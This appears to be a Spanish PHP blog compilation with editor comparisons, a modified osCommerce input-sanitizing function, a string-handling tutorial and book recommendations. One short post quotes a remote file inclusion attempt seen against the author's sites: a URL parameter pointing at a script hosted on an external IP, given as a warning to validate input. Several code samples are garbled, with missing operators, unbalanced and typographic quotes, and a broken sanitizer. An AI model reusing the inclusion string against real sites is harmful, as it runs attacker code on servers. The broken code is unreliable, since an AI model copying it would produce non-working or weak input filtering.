Así es como nos gusta sentirnos a los programadores ,cómodos! jejeje

Adjunto un screenshot de la diferencia entre 2 editores: Zend Development Environment 5 y Komodo Edit 5.

php_zend_eclipse_8.png

Lo bueno de Komodo es que puedes hacer lo mismo que con ZDE, crear un proyecto , añadirle una carpeta virtul (la roja) y luego sobre ella importar el contenido de un servidor remoto, por ejemplo FTP. Y así trabajar con el contenido online para modificarlo directamente viendo los resultados así como ,al no estar hecho en Java es mucho más rápido para trabajar, trae soporte de cualquier lenguaje y es SOFTWARE LIBRE!! siiiiiii

Lo único que no veo soporte para plugins tipo Vim, ni una lista de la jerarquía de clases,funciones, variables y constantes,pero todo se andará, la comunidad está ahi para ayudar jejeje

He estado probando las versiones de editores de la familia Zend Studio, en su versión del extendido proyecto Eclipse, y me he decepcionado con la 6.0.0… :/

Empezando porque tarda muchísimo en cargar, al cargar un proyecto por FTP es lento hasta decir basta, y eso que dispongo de un buen ordenador, con 2GB de memoria ,Core 2 Dúo y conexión de banda ancha…

Sobre todo a la hora de construir la jerarquía de clase, lo que el IDE llama "Build Project", que lo que hace es escanear todos los ficheros de proyecto y analizarlos sintáctimente con el lenguaje que tenga, HTML,PHP, JScript, etc. Esto es sumamente tedioso cuando tienes miles de ficheros y además se sincronizan por FTP, si además cambias algo externamente trae un activador de este evento que hace que se vuelva a lanzar el proces, la captura trae el caso en que se queda totalmente colgado esperando…no se a qué…pero que da mucho que pensar, desde luego me quedo con la versión antigüa, la de la izquierda jajaj

Porque quien tiene tiempo para ver como construye el/los proyecto/s mientras las anteriores versioneslo hacian muchísimo más rápido y sin consumir tantos recursos?

En qué estarán pensando estos programadores…ayyyyyyyy

Como echaba en falta una función decente para eliminar caracteres extraños, he creado esta opción para la función de OsCommerce "tep_sanitize_string" , de forma que ahora además tenga un modo "paranoid" con el que sólo nos deje el texto y nada más…para campos peligrosos como para pasarelas de pago y demás es encantador jejeje

Nos vamos a /catalog/includes/functions/general.php y reemplazamos la función tep_sanitize_string por esta:


<?php
function tep_sanitize_string($string,$paranoid=false) {
$string ereg_replace(‘ +'‘ 'trim($string));
if (!
$paranoid)
return 
preg_replace("/[&lt;&gt;]/"‘_'$string);
else {
$string preg_replace(‘/&lt;(.|\s)*?&gt;/'"$string);
$string str_replace(‘&lt;',",$string);
$string str_replace(‘&gt;',"",$string);
return 
ereg_replace(‘(([^0-9a-z&lt;&gt;A-Z_\.\ \@])+)',  "",$string);
}
}

?>


He recibido más ataques en los dominios de los que soy responsable,…esta vez usando un ataque de esta forma

index.php?com=http://207.234.200.112/css/style/style.txt?contacto

intentan colar un script para subir ficheros…dentro de una variable…

tenedlo en cuenta, parsear bien las entradas! $_GET, $_POST, etc. ;)

Ayuda con cadenas de texto

Todo sobre cadenas de texto

Introducción

Vamos a aprender como encontrar, transformar y borrar palabras ya que es algo así como una tarea esencial de todo ingeniero de aplicaciones web que se precie.Además tomaremos consciencia de los métodos usados para ahorrarnos escribir texto de entrada/salida en nuestras aplicaciones a la hora de crear mecanismos automáticos con los que operar en nuestras aplicaciones.

Verás funciones de este artículo que son bastante simples pero se mencionan por si nunca antes las habias visto, lo estamos haciendo fácil para todos. Las funciones más complejas usan expresiones regulares, una parte muy potente de PHP que todo programador ha de conocer.

Extraer parte de una cadena

El problema de un buscador es que se suele buscar en formas plurales y los programadores dándonos cuenta de esto, tenemos que ingeníarnoslas para procesar el texto y hacer que el usuario encuentre lo que busca en la base de datos. Para eliminar las ‘s' de una cadena se puede utilizar la función substr(cadena, inicio, fin) de forma que podemos comprobar si la última letra se debe eliminar con un básico:
if (susbstr( cadena, -1, 1)=='s')

Una vez que has encontrado una subcadena que te interesa hay una serie de operaciones que puedes realizar con ella:

  • Reasignar una porción específica de la cadena usando substr() para eliminar los caracteres que sobran.
    Ejemplo: $cadena = substr($cadena, 0, 10);
    Lo que hace es poner en $cadena los 10 primeros caracteres de $cadena,empezando por el primero.
  • Eliminar los últimos N caracteres con substring y strlen().
    Ejemplo: $cadena = substr($cadena,0 ,strlen($cadena)-3);
    Guarda en $cadena todos los caracteres menos los 3 últimos.
  • Reemplazar caracteres con substr_replace(cadena_original, cadena_reemplazo,inicio, longitud) que permite especificar una subcadena y reemplazarla con otra, por ejemplo:
    $cadena = substr_replace('abcdef','bbb',1,2)
    guarda en $cadena la cadena ‘abbbdef'

Operaciones con Mayúsculas y Minúsculas

Un problema que puede surgir con PHP y MySQL es que este sistema gestor de bases de datos es sensible a mayúsculas pero soporta campos que no lo son, sin embargo, las cadenas en PHP son sensibles a mayúsculas, asi que prentendemos asegurar que no habrá malentendidos entre ambos y que nos vamos a llevar bien :)
Para ello disponemos de una consulta MySQL donde no hay diferencia entre Juan y JUAN , sin embargo en PHP son dos cadenas distintas, asi que necesitamos pasar toda la cadena en este lenguaje a mayúsculas antes de compararlas o imprimirlas por pantalla.
PHP tiene varias funciones esenciales para realizar este tipo de tareas:

  • strtolower(): pasa toda la cadena a minúsculas
  • strtoupper(): pasa toda la cadena a mayúsculas
  • ucwords(): convierte la primera letra de cada palabra de la cadena a mayúsculas
  • ucfirst(): convierte la primera letra la cadena a mayúsculas

Ejemplo

 

<?php$cadena = "HOla qUe Tal CoMo EstAs?";

echo strtoupper($cadena);

//imprime "HOLA QUE TAL COMO ESTAS?"

echo strtolower($cadena);

//imprime "hola que tal como estas?"

echo ucwords(strtolower($cadena));

//usando un truquito para pasar primero la cadena a minusculas

//imprime "Hola Que Tal Como Estas?"

echo ucfirst(strtolower($cadena));

//imprime "Hola que tal como estas?"

?>

Hemos de tener en cuenta que si nuestra cadena tiene letras separadas por otros caracteres que no sean un espacio,se interpretan como una única palabra, es decir, juan-belon se interpreta como una sóla palabra, para realizar este tipo de conversiones a palabras en esta forma necesitamos crear una expresión regular que detecte dicho formato o algo más fácil,como construir una lista en un array y pasárselo a la función str_replace() como argumento para reemplazarlo. Ejemplo de conversiones que no queremos que se hagan:

 

<?phpfunction formatear_titulo($cadena){

//Primero el array de palabras que no queremos que se pasen a may�sculas, pronombres,preposiciones,etc.

$mayusculas = array("De","A ","El ","La ","Y ","Un ","Una ","O ");

//Ahora el conjunto de reemplazos, en el mismo orden!!

$minusculas = array("de ","a ","el ", "la ","y ","un ","una ","o ");

$cadena = ucwords(strtolower($cadena));

$cadena = str_replace($mayusculas, $minusculas, $cadena);

//Ahora devolvemos la cadena con la primera letra en may�scula:

return ucfirst($cadena);

}

?>

Debemos tener en cuenta que como en el caso anterior, si teníamos una cadena como Juan-Belon, la función ucwords(strtolower()) ha eliminado su mayúscula en Belon, si es importante preservar dichas capitalizacionese entonces puedes usar una comparación mediante la función strcasecmp(cadena1, cadena2);

Encontrar subcadenas

PHP tiene bastantes funciones que permiten encontrar subcadenas en una cadena dada. La elección depende de lo que quieras hacer con el resultado. Algunas funciones básicas:

  • strpos():
    encuetra la posición de la primera ocurriencia de la subcadena pasada
  • strrpos(): encuentra la posición de la última ocurrencia de la subcadena proporcionada, en la cadena pasada como argumento. A partir de dicha posición se puede extraer el contenido restante con substr() ,o se puede hacer con la siguiente función
  • strstr(): devuelve todo lo que hay después de la primera ocurrencia de la subcadena dada

Estas funciones devuelve False si la subcadena no se encuentra presente en la cadena original, hay que llevar cuidado pues la primera ocurrencia puede estar en la posición 0 de la cadena, lo que se puede interpretar como un valor False usado en un condicional, es por eso que debemos usar "===false" en lugar de "==false".
La triple igualdad asegura que los valores y los tipos de los términos del operador de comparación son los mismos, es importante porque puedes obtener valores no esperados como resultado de una comparación.
Veamos un ejemplo:

 

<?php$cadena = "Yo apruebo todas mis asignaturas porque estudio lo suficiente en mi estudio particular";

$termino = "estudio";

//Aparece el término en la cadena?

$pos = strpos($cadena, "estudio");

if ($pos === false){

echo "No se ha encontrado el término ‘$termino' en la cadena ‘$cadena'";

} else {

echo "Se ha encontrado el el término ‘$termino' en la cadena ‘$cadena' en la posición: $pos<br>";

echo "Última posición:".strval(strrpos($cadena, $termino))."<br>";

echo strstr($cadena, $termino)."\n";

//Imprime desde el primer "estudio":

echo substr($cadena, strrpos($cadena,$termino))."<br>";

//Imprime "estudio particular"

}

?>

Recordar que estas funciones son sensibles a mayúsculas, y que se están comparando subcadenas, no palabras, para ello necesitamos construir una expresión regular.
Reemplazar texto es muy útil, de hecho se puede construir un sistema de plantillas con la función str_replace super rápido…
Ahora vamos a ver un pequeño ejemplo de esto…

Notación "Camello"

Esta notación se utiliza para convertir nombres usados en un programa en nombres para mostrar por la pantalla del usuario.

Algunos frameworks (conjunto de librerias de programación) utilizan mecanismos en clases para pluralizar palabras y formas verbales…aunque algunas veces estos mecanismos transparentes resultan de lo más complicado de entender gracias a los comicos nombres y formas, como "camellizar" y otras parodias XD

 

<?php/**

* Pasa de formato Camel a texto que se puede leer por un humano

* @param str $cadena

* @return str

*/

function humanizar($cadena) {

return ucfirst(preg_replace(‘/([a-z])([A-Z])/', ‘\1 \2′, $cadena));

}

/**

* Pasa una cadena a texto en notación "Camel" para usarla en un programa

* @param str $cadena

* @return str

*/

function camellizar($cadena) {

if (!isset($cadena[0])) {

return ";

}

$cadena = ucwords(strtolower($cadena));

$cadena = preg_replace(‘/[^a-zA-Z0-9]/', ", $cadena);

$cadena[0] = strtolower($cadena[0]);

return $cadena;

}

?>

El término CamelCase describe la apariencia de las PalabrasEnCodigo. Varias palabras unidas sin espacios entre sí, mezclando mayúsculas y minúsculas. Las letras mayúsculas y minúsculas se asemejan a las jorobas de un camello, de ahi lo del animalillo XD

Veamos un ejemplo de uso:

 

<?php echo humanizar(‘ejemploTextoCamello');

// Salida: Ejemplo Texto Camello

echo humanizar(‘nombreProducto');

// Salida: Nombre Producto

echo camellizar(‘Ejemplo Texto Camello');

// Salida: ejemploTextoCamello

echo camellizar(‘Nombre - Producto');

// Salida: nombreProducto

?>

Expresiones Regulares

El tema de las expresiones regulares se sale un poco del tratamiento de cadenas y es algo un poco más complejo que ha de ser tomado con cautela para comprenderlo…

Algunos ejemplos más podeis verlos en :

  • Compactadores de HTML
  • Filtros para guardar ficheros: $fichero = ereg_replace('(([^0-9a-zA-Z_\.])+)', "",basename($f[$i]));
  • Filtros para comprobar que una cadena es un correo electrónico:

     

    <?php
    /**

    * Utiliza una expresion regular para comprobar que el $correo pasado es realmente un correo electronico

    *

    * @param str $correo

    * @return bool

    */

    function zen_es_correo($correo){

    return preg_match(

    ‘/^[\ a-z0-9._-]+@[a-z0-9.-]+\.[a-z]{2,6}$/i',

    $correo

    );

    }

    ?>

  • Funciones para procesar fechas

etc.

Cuando has llegado a ciertos niveles de conocimientos de programación muy altos, …como mientras escribes un sistema gestor de contenidos después de escribir un framework completo XDD puedes encontrar muy útiles los siguientes libros:

El primero es genial, empieza introduciendo el ámbito de la construcción del acueducto de Segobia, la compara,evidentemente con un proyecto bien hecho, así pueden pasar hasta 2mil años y no lo tira ni las catástrofes medioambientales :D

Es una muy buena ayuda, estoy leyéndolo como apoyo para construir el sistema gestor de contenidos de zenphp basado en el framework del mismo. Algo muy lírico, fácil de leer, en inglés pero amigable :) Recomendación!
El segundo es una guía para los programadores PHP para ver lo fácil que resulta pasar código de PHP a Ruby On Rails…aún no me llama mucho la atención ,es más que nada una curiosidad que puede acabar en que me pase completamente a RoR :)

Por último, una pieza muy singular, lo he visto justo cuando me iba y al leer lo primero que he visto me ha parecido estupendo, es un libro para los que ya saben PHP, para hacer las cosas más simples…por qué hacer algo complejo cuando haciéndolo simple se puede hacer antes! ;) Recomendación!! 

Hasta aquí los libros del comienzo del año. Seguid atentos a las pantallas!

iManage es un plugin para insertar imágenes en los editores HTML [con AJAX] de formularios web, en mi caso uso tinyMCE.

Puedes descargar el fichero traducido al español por mi aquí.






Más recursos PHP